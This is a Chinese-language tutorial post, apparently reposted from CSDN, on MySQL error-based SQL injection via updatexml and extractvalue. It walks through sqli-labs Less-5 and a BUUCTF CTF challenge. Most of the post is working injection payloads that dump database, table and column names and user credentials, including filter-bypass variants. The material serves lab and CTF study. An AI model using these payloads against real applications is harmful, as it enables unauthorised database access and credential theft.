sql 报错注入

sql报错注入

​ 报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

xpath语法错误(局限性)

extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:

updatexml

函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称 第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。

例题:sqli-labs

Less-5?id=1' or updatexml(1,concat(0x7e,database(),0x7e),1)--+       爆库

1608557238748

Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+       爆表

1608557368922

Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+                                        爆列

1608557617454

Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)--+                                                      爆数据                             

1608557862959

PS:updatexml的最大长度是32位的,所以有所局限,如果长度超过了32位就不会被显示出来。

总结:

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))

爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))

爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))

爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

extractvalue函数

函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))

爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))

爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))

爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

BUUCTF-[极客大挑战 2019]HardSQL(报错注入)

1、用bp fuzz后,union|order by|等号|空格|substr等被过滤,空格没有被过滤,大致有个印象

2、爆当前的数据库名:
空格绕过:用括号()包起来就行

admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21

->库名:geek
3、爆表名:
等号绕过:用like替换

admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21

->表名:H4rDsq1
4、爆字段名:

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21

->字段:id,username,password
5、

'or(extractvalue(1,concat('~',(select(password)from(H4rDsq1)))))#

flag{9f09946d-4c83-40f5-982
没出全
这时候就要想到mysql的一些函数,substr,left,right
注意:substr被过滤了

admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21

结果:XPATH syntax error: ‘3-40f5-9828-9593ee5f3f4c}

拼接后结果:
flag{9f09946d-4c83-40f5-9828-9593ee5f3f4c}

猜你喜欢

转载自blog.csdn.net/weixin_49298265/article/details/111505198
今日推荐